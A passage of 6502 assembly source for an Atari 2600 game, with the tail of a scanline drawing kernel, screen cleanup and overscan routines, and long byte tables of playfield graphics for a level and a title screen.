STA COLUPF ; [3, 5]
;==== NEW CODE ====
LDA Level_0_WhiteData_PF1_1,Y ; [4, 9]
STA PF1 ; [3, 12]
LDA Level_0_WhiteData_PF2_2,Y ; [4, 16]
STA PF2 ; [3, 19]
NOP ; [2, 21]
NOP ; [2, 23]
NOP ; [2, 25]
NOP ; [2, 27]
NOP ; [2, 29]
NOP ; [2, 31]
LDA $80 ; [3, 34]
LDA Level_0_WhiteData_PF1_4,Y ; [4, 38]
STA PF1 ; [3, 41]
LDA Level_0_WhiteData_PF2_3,Y ; [4, 45]
STA PF2 ; [3, 48]
;== END NEW CODE ==
;==========
STA WSYNC ; [3, = first odd frame completed]
;==========
IF LEVEL == 0
IF NTSC
LDA #$22 ; brown
ELSE ; (PAL)
LDA #$42 ; brown
ENDIF
ENDIF
IF LEVEL == 1
IF NTSC
LDA #$82 ; blue
ELSE ; (PAL)
LDA #$D2 ; blue
ENDIF
ENDIF
STA COLUPF ; [3, 5]
;==== NEW CODE ====
LDA Level_0_BlueData_PF1_1,Y ; [4, 9]
STA PF1 ; [3, 12]
LDA Level_0_BlueData_PF2_2,Y ; [4, 16]
STA PF2 ; [3, 19]
NOP ; [2, 21]
NOP ; [2, 23]
NOP ; [2, 25]
NOP ; [2, 27]
NOP ; [2, 29]
NOP ; [2, 31]
LDA $80 ; [3, 34]
LDA Level_0_BlueData_PF1_4,Y ; [4, 38]
STA PF1 ; [3, 41]
LDA Level_0_BlueData_PF2_3,Y ; [4, 45]
STA PF2 ; [3, 48]
;== END NEW CODE ==
DEY
CPY ScrollPointerBottom
BPL DrawLoopBank1Pass3
;=======================
;========================
; scanline 192
;========================
CleanupScreen
; Clear all registers here to prevent any possible bleeding.
LDA #2
STA WSYNC ; Finish this scanline.
STA VBLANK ; Make TIA output invisible,
; Now we need to worry about it bleeding when we turn
; the TIA output back on.
LDY #0
STY PF0
STY PF1
STY PF2
STY GRP1
STY GRP0
STY VDELP1
STY ENAM0
STY ENAM1
STY ENABL
;==========
LDA OddFrameCheck
BNE ReturnFromDrawScreen
STA WSYNC
;==========
ReturnFromDrawScreen
;==================
RTS
;==================
;=================
OverScanBank1
;=================
IF NTSC
LDA #35
ELSE ; (PAL)
LDA #85
ENDIF
STA TIM64T
;=================
GameCalc2Bank1
;=================
;==================
; Handle collisions
;==================
JMP Bank3 ;(JSR HandleCollision)
;==================
; Clear them for next time
;==================
AfterCollision_InBank1
LDA #0
STA CXCLR
;============================
; Loop to get our 30 scanlines for overscan
;============================
WaitForEndOfOverscanBank1
LDA INTIM
BNE WaitForEndOfOverscanBank1
STA WSYNC ; finish scanline 30
;==================
RTS
;==================
;====================
; GRAPHICS DATA BELOW
;====================
;REF=- (D0 of CTRLPF)
;| 4567 | 76543210 | 01234567 | 4567 | 76543210 | 01234567 |
;| PF0 | PF1 | PF2 | PF0 | PF1 | PF2 |
;
;REF=1 (D0 of CTRLPF)
;| 4567 | 76543210 | 01234567 | 76543210 | 01234567 | 7654 |
;| PF0 | PF1 | PF2 | PF2 | PF1 | PF0 |
;==========
;ORG $C700
align 256
;==========
Level_0_WhiteData_PF1_1
; 20-0
dc.b $A2
dc.b $82
dc.b $A2
dc.b $82
dc.b $A2
dc.b $82
dc.b $A2
dc.b $82
dc.b $A2
dc.b $82
dc.b $A2
dc.b $82
dc.b $A2
dc.b $82
dc.b $A2
dc.b $82
dc.b $A2
dc.b $82
dc.b $A2
dc.b $82
; 40-21
dc.b $A2
dc.b $82
dc.b $A2
dc.b $82
dc.b $A2
dc.b $82
dc.b $A2
dc.b $83
dc.b $A0
dc.b $C5
dc.b $22
dc.b $57
dc.b $AA
dc.b $F4
dc.b $BA
dc.b $5D
dc.b $2E
dc.b $17
dc.b $0A
dc.b $15
; 60-41
dc.b $8A
dc.b $DC
dc.b $A8
dc.b $50
dc.b $A8
dc.b $5C
dc.b $AA
dc.b $55
dc.b $BA
dc.b $55
dc.b $AA
dc.b $75
dc.b $AA
dc.b $D5
dc.b $A9
dc.b $71
dc.b $A9
dc.b $C9
dc.b $A9
dc.b $29
; 80-61
dc.b $A9
dc.b $A8
dc.b $A8
dc.b $AA
dc.b $A9
dc.b $A9
dc.b $A9
dc.b $AB
dc.b $A8
dc.b $A8
dc.b $A8
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AA
; 100-81
dc.b $AA
dc.b $AB
dc.b $A8
dc.b $AD
dc.b $A2
dc.b $B5
dc.b $88
dc.b $D9
dc.b $22
dc.b $67
dc.b $8A
dc.b $1D
dc.b $2A
dc.b $77
dc.b $AA
dc.b $9D
dc.b $AA
dc.b $A7
dc.b $AA
dc.b $A9
; 120-101
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AB
dc.b $A8
dc.b $A9
dc.b $A8
dc.b $AD
dc.b $AB
dc.b $A3
dc.b $A3
dc.b $B5
dc.b $AE
dc.b $8F
; 140-121
dc.b $8F
dc.b $D7
dc.b $BB
dc.b $3D
dc.b $3E
dc.b $5F
dc.b $EF
dc.b $F6
dc.b $FA
dc.b $FD
dc.b $7D
dc.b $B9
dc.b $D8
dc.b $A0
dc.b $60
dc.b $A8
dc.b $C8
dc.b $B4
dc.b $70
dc.b $B2
; 160-141
dc.b $AA
dc.b $DD
dc.b $DC
dc.b $AC
dc.b $AA
dc.b $77
dc.b $72
dc.b $AD
dc.b $AE
dc.b $DF
dc.b $CE
dc.b $B6
dc.b $B9
dc.b $7D
dc.b $BA
dc.b $DA
dc.b $A7
dc.b $77
dc.b $AA
dc.b $9A
; 180-161
dc.b $BD
dc.b $59
dc.b $16
dc.b $2E
dc.b $0F
dc.b $16
dc.b $25
dc.b $2A
dc.b $23
dc.b $32
dc.b $29
dc.b $2A
dc.b $17
dc.b $46
dc.b $26
dc.b $29
dc.b $5D
dc.b $9A
dc.b $1A
dc.b $27
; 200-181
dc.b $77
dc.b $AA
dc.b $DA
dc.b $BD
dc.b $79
dc.b $B6
dc.b $AE
dc.b $DF
dc.b $DE
dc.b $AC
dc.b $A8
dc.b $70
dc.b $70
dc.b $A0
dc.b $A0
dc.b $C0
dc.b $C0
dc.b $80
dc.b $80
dc.b $00
Title_PF1_1
; 1
dc.b $00 ; unused for now
; 20
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AB
dc.b $AB
dc.b $AB
dc.b $AB
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $FB
dc.b $FB
dc.b $FB
dc.b $FB
dc.b $FB
dc.b $51
; 8
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
; 20
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AB
dc.b $AB
dc.b $AB
dc.b $AB
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $FB
dc.b $FB
dc.b $FB
dc.b $FB
dc.b $FB
dc.b $51
; 5
dc.b $00 ; unused for now
dc.b $00 ; unused for now
dc.b $00 ; unused for now
dc.b $00 ; unused for now
dc.b $00 ; unused for now
; 1
dc.b $FF ; unused for now
;==========
;ORG $C800
align 256
;==========
Level_0_WhiteData_PF2_2
; 20-0
dc.b $05
dc.b $01
dc.b $05
dc.b $01
dc.b $05
dc.b $01
dc.b $05
dc.b $01
dc.b $05
dc.b $01
dc.b $05
dc.b $01
dc.b $05
dc.b $01
dc.b $05
dc.b $01
dc.b $05
dc.b $01
dc.b $05
dc.b $01
; 40-21
dc.b $05
dc.b $01
dc.b $05
dc.b $01
dc.b $05
dc.b $03
dc.b $04
dc.b $0E
dc.b $15
dc.b $3B
dc.b $51
dc.b $E0
dc.b $40
dc.b $80
dc.b $00
dc.b $00
dc.b $01
dc.b $03
dc.b $05
dc.b $0A
; 60-41
dc.b $13
dc.b $2B
dc.b $4D
dc.b $AC
dc.b $34
dc.b $B0
dc.b $D0
dc.b $C8
dc.b $49
dc.b $2B
dc.b $29
dc.b $AA
dc.b $6A
dc.b $8A
dc.b $5A
dc.b $22
dc.b $56
dc.b $C8
dc.b $D5
dc.b $B2
; 80-61
dc.b $36
dc.b $2D
dc.b $13
dc.b $2B
dc.b $4A
dc.b $AD
dc.b $34
dc.b $B0
dc.b $D4
dc.b $C5
dc.b $55
dc.b $15
dc.b $55
dc.b $D5
dc.b $15
dc.b $B5
dc.b $45
dc.b $2D
dc.b $51
dc.b $CB
; 100-81
dc.b $D4
dc.b $B2
dc.b $35
dc.b $A6
dc.b $56
dc.b $9A
dc.b $59
dc.b $6B
dc.b $65
dc.b $AE
dc.b $95
dc.b $BB
dc.b $55
dc.b $EE
dc.b $55
dc.b $BB
dc.b $55
dc.b $EE
dc.b $55
dc.b $BB
; 120-101
dc.b $55
dc.b $EE
dc.b $55
dc.b $B9
dc.b $55
dc.b $ED
dc.b $55
dc.b $BB
dc.b $55
dc.b $EE
dc.b $55
dc.b $BB
dc.b $55
dc.b $EE
dc.b $55
dc.b $BB
dc.b $55
dc.b $EF
dc.b $4F
dc.b $B6
; 140-121
dc.b $55
dc.b $EB
dc.b $47
dc.b $8D
dc.b $03
dc.b $88
dc.b $1C
dc.b $AA
dc.b $77
dc.b $AA
dc.b $05
dc.b $8E
dc.b $03
dc.b $09
dc.b $1C
dc.b $2A
dc.b $77
dc.b $2A
dc.b $05
dc.b $0F
; 160-141
dc.b $03
dc.b $01
dc.b $0C
dc.b $06
dc.b $0E
dc.b $04
dc.b $0D
dc.b $01
dc.b $09
dc.b $22
dc.b $15
dc.b $45
dc.b $53
dc.b $BB
dc.b $35
dc.b $35
dc.b $4E
dc.b $EE
dc.b $55
dc.b $B5
; 180-161
dc.b $7B
dc.b $F3
dc.b $6D
dc.b $5D
dc.b $BE
dc.b $BD
dc.b $5B
dc.b $55
dc.b $EE
dc.b $E5
dc.b $5B
dc.b $5D
dc.b $BE
dc.b $9D
dc.b $6D
dc.b $73
dc.b $FB
dc.b $75
dc.b $B5
dc.b $4E
; 200-181
dc.b $EE
dc.b $55
dc.b $B5
dc.b $7B
dc.b $F3
dc.b $6D
dc.b $5D
dc.b $BE
dc.b $BC
dc.b $58
dc.b $50
dc.b $E0
dc.b $E0
dc.b $40
dc.b $40
dc.b $80
dc.b $80
dc.b $00
dc.b $00
dc.b $00
Title_PF2_2
; 1
dc.b $00 ; unused for now
; 20
dc.b $4D
dc.b $5D
dc.b $5D
dc.b $5D
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $D5
dc.b $D5
dc.b $D5
dc.b $D5
dc.b $D5
dc.b $55
dc.b $5D
dc.b $5D
dc.b $5D
dc.b $4C
; 8
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
; 20
dc.b $D5
dc.b $D5
dc.b $D5
dc.b $5D
dc.b $4D
dc.b $4D
dc.b $4D
dc.b $5D
dc.b $DD
dc.b $DD
dc.b $D5
dc.b $D5
dc.b $55
dc.b $55
dc.b $55
dc.b $5D
dc.b $5D
dc.b $DD
dc.b $DD
dc.b $CC
; 5
dc.b $00 ; unused for now
dc.b $00 ; unused for now
dc.b $00 ; unused for now
dc.b $00 ; unused for now
dc.b $00 ; unused for now
; 1
dc.b $FF ; unused for now
;==========
;ORG $C900
align 256
;==========
Level_0_WhiteData_PF2_3
; 20-0
dc.b $02
dc.b $02
dc.b $02
dc.b $02
dc.b $02
dc.b $02
dc.b $02
dc.b $02
dc.b $02
dc.b $02
dc.b $02
dc.b $02
dc.b $02
dc.b $02
dc.b $02
dc.b $02
dc.b $02
dc.b $02
dc.b $02
dc.b $02
; 40-21
dc.b $02
dc.b $02
dc.b $02
dc.b $02
dc.b $02
dc.b $02
dc.b $02
dc.b $02
dc.b $02
dc.b $02
dc.b $02
dc.b $03
dc.b $80
dc.b $C5
dc.b $A2
dc.b $75
dc.b $2A
dc.b $1D
dc.b $0A
dc.b $05
; 60-41
dc.b $02
dc.b $01
dc.b $00
dc.b $00
dc.b $80
dc.b $40
dc.b $20
dc.b $50
dc.b $C8
dc.b $D8
dc.b $B4
dc.b $4C
dc.b $AC
dc.b $2A
dc.b $B6
dc.b $D2
dc.b $C3
dc.b $40
dc.b $05
dc.b $04
; 80-61
dc.b $06
dc.b $01
dc.b $0A
dc.b $07
dc.b $02
dc.b $01
dc.b $80
dc.b $40
dc.b $20
dc.b $50
dc.b $C8
dc.b $D8
dc.b $B4
dc.b $4C
dc.b $AC
dc.b $2A
dc.b $B6
dc.b $D2
dc.b $C3
dc.b $40
; 100-81
dc.b $00
dc.b $00
dc.b $80
dc.b $40
dc.b $20
dc.b $30
dc.b $88
dc.b $4C
dc.b $A2
dc.b $93
dc.b $A8
dc.b $64
dc.b $6A
dc.b $5B
dc.b $9C
dc.b $DD
dc.b $AA
dc.b $77
dc.b $AA
dc.b $DD
; 120-101
dc.b $AA
dc.b $77
dc.b $AA
dc.b $DC
dc.b $A8
dc.b $70
dc.b $A8
dc.b $DC
dc.b $AA
dc.b $77
dc.b $AA
dc.b $DD
dc.b $AA
dc.b $77
dc.b $AA
dc.b $DD
dc.b $AB
dc.b $77
dc.b $A7
dc.b $DB
; 140-121
dc.b $AA
dc.b $75
dc.b $A9
dc.b $DC
dc.b $B0
dc.b $64
dc.b $8E
dc.b $D5
dc.b $BB
dc.b $55
dc.b $A8
dc.b $FC
dc.b $B0
dc.b $24
dc.b $0E
dc.b $15
dc.b $3B
dc.b $15
dc.b $28
dc.b $3C
; 160-141
dc.b $30
dc.b $20
dc.b $0C
dc.b $18
dc.b $1C
dc.b $08
dc.b $2C
dc.b $20
dc.b $04
dc.b $11
dc.b $4A ;
dc.b $22
dc.b $29
dc.b $5D
dc.b $9A
dc.b $9A
dc.b $A7
dc.b $77
dc.b $AA
dc.b $DA
; 180-161
dc.b $BD
dc.b $79
dc.b $B6
dc.b $AE
dc.b $DF
dc.b $DE
dc.b $AD
dc.b $AA
dc.b $77
dc.b $72
dc.b $AD
dc.b $AE
dc.b $DF
dc.b $CE
dc.b $B6
dc.b $B9
dc.b $7D
dc.b $BA
dc.b $DA
dc.b $A7
; 200-181
dc.b $77
dc.b $AA
dc.b $DA
dc.b $BD
dc.b $79
dc.b $B6
dc.b $AE
dc.b $DF
dc.b $DE
dc.b $AC
dc.b $A8
dc.b $70
dc.b $70
dc.b $A0
dc.b $A0
dc.b $C0
dc.b $C0
dc.b $80
dc.b $80
dc.b $00
Title_PF2_3
; 1
dc.b $00 ; unused for now
; 20
dc.b $5D
dc.b $5D
dc.b $5D
dc.b $5D
dc.b $50
dc.b $D0
dc.b $D0
dc.b $D0
dc.b $D9
dc.b $D9
dc.b $59
dc.b $59
dc.b $51
dc.b $51
dc.b $51
dc.b $51
dc.b $5D
dc.b $5D
dc.b $5D
dc.b $5D
; 8
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
; 20
dc.b $3B
dc.b $3B
dc.b $BB
dc.b $BB
dc.b $A2
dc.b $A2
dc.b $A2
dc.b $A2
dc.b $A3
dc.b $23
dc.b $23
dc.b $A3
dc.b $A2
dc.b $A2
dc.b $A2
dc.b $A2
dc.b $A3
dc.b $A3
dc.b $23
dc.b $23
; 5
dc.b $00 ; unused for now
dc.b $00 ; unused for now
dc.b $00 ; unused for now
dc.b $00 ; unused for now
dc.b $00 ; unused for now
; 1
dc.b $FF ; unused for now
;==========
;ORG $CA00
align 256
;==========
Level_0_WhiteData_PF1_4
; 20-0
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
; 40-21
dc.b $55
dc.b $55
dc.b $55
dc.b $D5
dc.b $15
dc.b $B5
dc.b $45
dc.b $ED
dc.b $51
dc.b $BB
dc.b $54
dc.b $EE
dc.b $55
dc.b $AB
dc.b $55
dc.b $EA
dc.b $55
dc.b $AA
dc.b $55
dc.b $EE
; 60-41
dc.b $55
dc.b $BA
dc.b $55
dc.b $EE
dc.b $54
dc.b $BA
dc.b $52
dc.b $EA
dc.b $56
dc.b $B8
dc.b $55
dc.b $EE
dc.b $54
dc.b $BA
dc.b $52
dc.b $EA
dc.b $56
dc.b $B8
dc.b $55
dc.b $EE
; 80-61
dc.b $55
dc.b $BB
dc.b $55
dc.b $EE
dc.b $55
dc.b $BB
dc.b $55
dc.b $EE
dc.b $54
dc.b $B8
dc.b $50
dc.b $E0
dc.b $40
dc.b $80
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
; 100-81
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $01
dc.b $03
dc.b $04
dc.b $08
dc.b $11
dc.b $3B
dc.b $15
dc.b $0E
dc.b $05
dc.b $03
; 120-101
dc.b $01
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $01
dc.b $03
dc.b $01
dc.b $02
dc.b $07
dc.b $07
dc.b $07
dc.b $0B
dc.b $1D
dc.b $1E
; 140-121
dc.b $1F
dc.b $2F
dc.b $77
dc.b $7B
dc.b $7D
dc.b $BE
dc.b $DE
dc.b $EC
dc.b $F5
dc.b $FA
dc.b $FB
dc.b $72
dc.b $B4
dc.b $44
dc.b $CC
dc.b $54
dc.b $91
dc.b $6A
dc.b $E0
dc.b $64
; 160-141
dc.b $54
dc.b $BA
dc.b $B8
dc.b $58
dc.b $54
dc.b $EE
dc.b $E5
dc.b $5B
dc.b $5D
dc.b $BE
dc.b $9D
dc.b $6D
dc.b $73
dc.b $FB
dc.b $75
dc.b $B5
dc.b $4E
dc.b $EE
dc.b $55
dc.b $35
; 180-161
dc.b $7B
dc.b $B3
dc.b $2D
dc.b $5D
dc.b $1E
dc.b $2D
dc.b $0B
dc.b $15
dc.b $06
dc.b $05
dc.b $13
dc.b $15
dc.b $2E
dc.b $0D
dc.b $4D
dc.b $53
dc.b $BB
dc.b $35
dc.b $35
dc.b $47
; 200-181
dc.b $EE
dc.b $55
dc.b $B5
dc.b $7B
dc.b $F3
dc.b $6D
dc.b $5D
dc.b $BE
dc.b $BC
dc.b $58
dc.b $50
dc.b $E0
dc.b $E0
dc.b $40
dc.b $40
dc.b $80
dc.b $80
dc.b $00
dc.b $00
dc.b $00
Title_PF1_4
; 1
dc.b $00 ; unused for now
; 20
dc.b $3B
dc.b $3B
dc.b $3B
dc.b $3B
dc.b $22
dc.b $22
dc.b $22
dc.b $22
dc.b $3B
dc.b $3B
dc.b $3B
dc.b $3B
dc.b $08
dc.b $08
dc.b $08
dc.b $08
dc.b $3B
dc.b $3B
dc.b $3B
dc.b $3B
; 8
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
; 20
dc.b $01
dc.b $01
dc.b $01
dc.b $01
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $01
dc.b $01
dc.b $01
dc.b $01
; 5
dc.b $00 ; unused for now
dc.b $00 ; unused for now
dc.b $00 ; unused for now
dc.b $00 ; unused for now
dc.b $00 ; unused for now
; 1
dc.b $FF ; unused for now
;==========
;ORG $CB00
align 256
;==========
Level_0_BlueData_PF1_1
; 20-0
dc.b $8A
dc.b $82
dc.b $8A
dc.b $82
dc.b $8A
dc.b $82
dc.b $8A
dc.b $82
dc.b $8A
dc.b $82
dc.b $8A
dc.b $82
dc.b $8A
dc.b $82
dc.b $8A
dc.b $82
dc.b $8A
dc.b $82
dc.b $8A
dc.b $82
; 40-21
dc.b $8A
dc.b $82
dc.b $8A
dc.b $82
dc.b $8A
dc.b $82
dc.b $8A
dc.b $83
dc.b $8A
dc.b $D4
dc.b $88
dc.b $20
dc.b $50
dc.b $89
dc.b $84
dc.b $42
dc.b $21
dc.b $50
dc.b $C8
dc.b $55
; 60-41
dc.b $22
dc.b $00
dc.b $00
dc.b $25
dc.b $63
dc.b $41
dc.b $00
dc.b $22
dc.b $66
dc.b $44
dc.b $00
dc.b $02
dc.b $06
dc.b $05
dc.b $01
dc.b $01
dc.b $09
dc.b $09
dc.b $29
dc.b $29
; 80-61
dc.b $A9
dc.b $A9
dc.b $A8
dc.b $A8
dc.b $AA
dc.b $A8
dc.b $A8
dc.b $A8
dc.b $A8
dc.b $A8
dc.b $A9
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AA
; 100-81
dc.b $AA
dc.b $AB
dc.b $AA
dc.b $AC
dc.b $A8
dc.b $B2
dc.b $A2
dc.b $C6
dc.b $8C
dc.b $18
dc.b $30
dc.b $A0
dc.b $C0
dc.b $80
dc.b $80
dc.b $80
dc.b $A0
dc.b $A0
dc.b $A8
dc.b $A8
; 120-101
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AA
dc.b $AB
dc.b $AA
dc.b $A8
dc.b $A8
dc.b $AC
dc.b $A8
dc.b $A8
dc.b $A0
dc.b $B0
dc.b $A0
dc.b $A0
; 140-121
dc.b $A0
dc.b $C0
dc.b $A0
dc.b $A0
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $02
dc.b $12
dc.b $16
dc.b $12
dc.b $12
dc.b $09
dc.b $08
dc.b $04
; 160-141
dc.b $04
dc.b $02
dc.b $02
dc.b $01
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $40
; 180-161
dc.b $40
dc.b $20
dc.b $20
dc.b $90
dc.b $10
dc.b $88
dc.b $28
dc.b $A4
dc.b $24
dc.b $B4
dc.b $24
dc.b $A4
dc.b $08
dc.b $C8
dc.b $10
dc.b $90
dc.b $20
dc.b $20
dc.b $40
dc.b $80
; 200-181
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
;==========
;ORG $CC00
align 256
;==========
Level_0_BlueData_PF2_2
; 20-0
dc.b $51
dc.b $51
dc.b $51
dc.b $51
dc.b $51
dc.b $51
dc.b $51
dc.b $51
dc.b $51
dc.b $51
dc.b $51
dc.b $51
dc.b $51
dc.b $51
dc.b $51
dc.b $51
dc.b $51
dc.b $51
dc.b $51
dc.b $51
; 40-21
dc.b $51
dc.b $51
dc.b $51
dc.b $51
dc.b $51
dc.b $5B
dc.b $51
dc.b $60
dc.b $40
dc.b $80
dc.b $04
dc.b $04
dc.b $15
dc.b $15
dc.b $55
dc.b $56
dc.b $54
dc.b $59
dc.b $51
dc.b $60
; 60-41
dc.b $40
dc.b $80
dc.b $00
dc.b $00
dc.b $00
dc.b $02
dc.b $03
dc.b $0A
dc.b $0C
dc.b $28
dc.b $28
dc.b $AA
dc.b $6A
dc.b $2A
dc.b $1A
dc.b $0A
dc.b $06
dc.b $02
dc.b $00
dc.b $01
; 80-61
dc.b $00
dc.b $00
dc.b $40
dc.b $80
dc.b $00
dc.b $00
dc.b $00
dc.b $02
dc.b $04
dc.b $0D
dc.b $15
dc.b $35
dc.b $55
dc.b $D5
dc.b $55
dc.b $35
dc.b $15
dc.b $0D
dc.b $05
dc.b $03
; 100-81
dc.b $01
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
; 120-101
dc.b $00
dc.b $00
dc.b $01
dc.b $01
dc.b $05
dc.b $0D
dc.b $05
dc.b $03
dc.b $01
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
; 140-121
dc.b $00
dc.b $08
dc.b $10
dc.b $3C
dc.b $74
dc.b $62
dc.b $40
dc.b $00
dc.b $00
dc.b $08
dc.b $54
dc.b $7E
dc.b $77
dc.b $63
dc.b $41
dc.b $00
dc.b $00
dc.b $08
dc.b $55
dc.b $7F
; 160-141
dc.b $77
dc.b $6B
dc.b $51
dc.b $3C
dc.b $7F
dc.b $3E
dc.b $3E
dc.b $5C
dc.b $5C
dc.b $08
dc.b $88
dc.b $30
dc.b $20
dc.b $40
dc.b $40
dc.b $80
dc.b $00
dc.b $00
dc.b $00
dc.b $00
; 180-161
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
; 200-181
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
;==========
;ORG $CD00
align 256
;==========
Level_0_BlueData_PF2_3
; 20-0
dc.b $AA
dc.b $A2
dc.b $AA
dc.b $A2
dc.b $AA
dc.b $A2
dc.b $AA
dc.b $A2
dc.b $AA
dc.b $A2
dc.b $AA
dc.b $A2
dc.b $AA
dc.b $A2
dc.b $AA
dc.b $A2
dc.b $AA
dc.b $A2
dc.b $AA
dc.b $A2
; 40-21
dc.b $AA
dc.b $A2
dc.b $AA
dc.b $A2
dc.b $AA
dc.b $A2
dc.b $AA
dc.b $A2
dc.b $AA
dc.b $A2
dc.b $AA
dc.b $63
dc.b $2A
dc.b $14
dc.b $08
dc.b $00
dc.b $81
dc.b $81
dc.b $A0
dc.b $A0
; 60-41
dc.b $A9
dc.b $A9
dc.b $AA
dc.b $6A
dc.b $2A
dc.b $1A
dc.b $0A
dc.b $02
dc.b $06
dc.b $02
dc.b $02
dc.b $00
dc.b $00
dc.b $01
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $25
dc.b $25
; 80-61
dc.b $A6
dc.b $A4
dc.b $A8
dc.b $A0
dc.b $A8
dc.b $68
dc.b $2A
dc.b $1A
dc.b $0A
dc.b $02
dc.b $06
dc.b $02
dc.b $02
dc.b $00
dc.b $00
dc.b $01
dc.b $00
dc.b $00
dc.b $08
dc.b $10
; 100-81
dc.b $34
dc.b $D6
dc.b $35
dc.b $95
dc.b $8D
dc.b $C5
dc.b $63
dc.b $31
dc.b $18
dc.b $0C
dc.b $06
dc.b $03
dc.b $01
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
; 120-101
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $02
dc.b $06
dc.b $02
dc.b $01
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
; 140-121
dc.b $00
dc.b $04
dc.b $08
dc.b $1E
dc.b $3A
dc.b $31
dc.b $20
dc.b $00
dc.b $00
dc.b $04
dc.b $2A
dc.b $3F
dc.b $3B
dc.b $31
dc.b $A0
dc.b $00
dc.b $80
dc.b $04
dc.b $AA
dc.b $3F
; 160-141
dc.b $BB
dc.b $35
dc.b $A2
dc.b $0F
dc.b $BF
dc.b $1F
dc.b $9F
dc.b $2E
dc.b $AE
dc.b $04
dc.b $C4
dc.b $18
dc.b $90
dc.b $20
dc.b $20
dc.b $40
dc.b $00
dc.b $00
dc.b $00
dc.b $00
; 180-161
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
; 200-181
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
dc.b $00
;==========
;ORG $CE00
align 256
;==========
Level_0_BlueData_PF1_4
; 20-0
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
dc.b $55
; 40-21
dc.b $55
dc.b $55
dc.b $55
dc.b $D5
dc.b $55
dc.b $35
dc.b $15
dc.b $0D
dc.b $05
dc.b $03
dc.b $01
dc.b $00
dc.b $08
dc.b $18
dc.b $10
dc.b $00
dc.b $08
dc.b $19
dc.b $11
dc.b $00
; 60-41
dc.b $00
dc.b $01
dc.b $01
dc.b $00
dc.b $00
dc.b $02
dc.b $02
dc.b $0A
dc.b $06
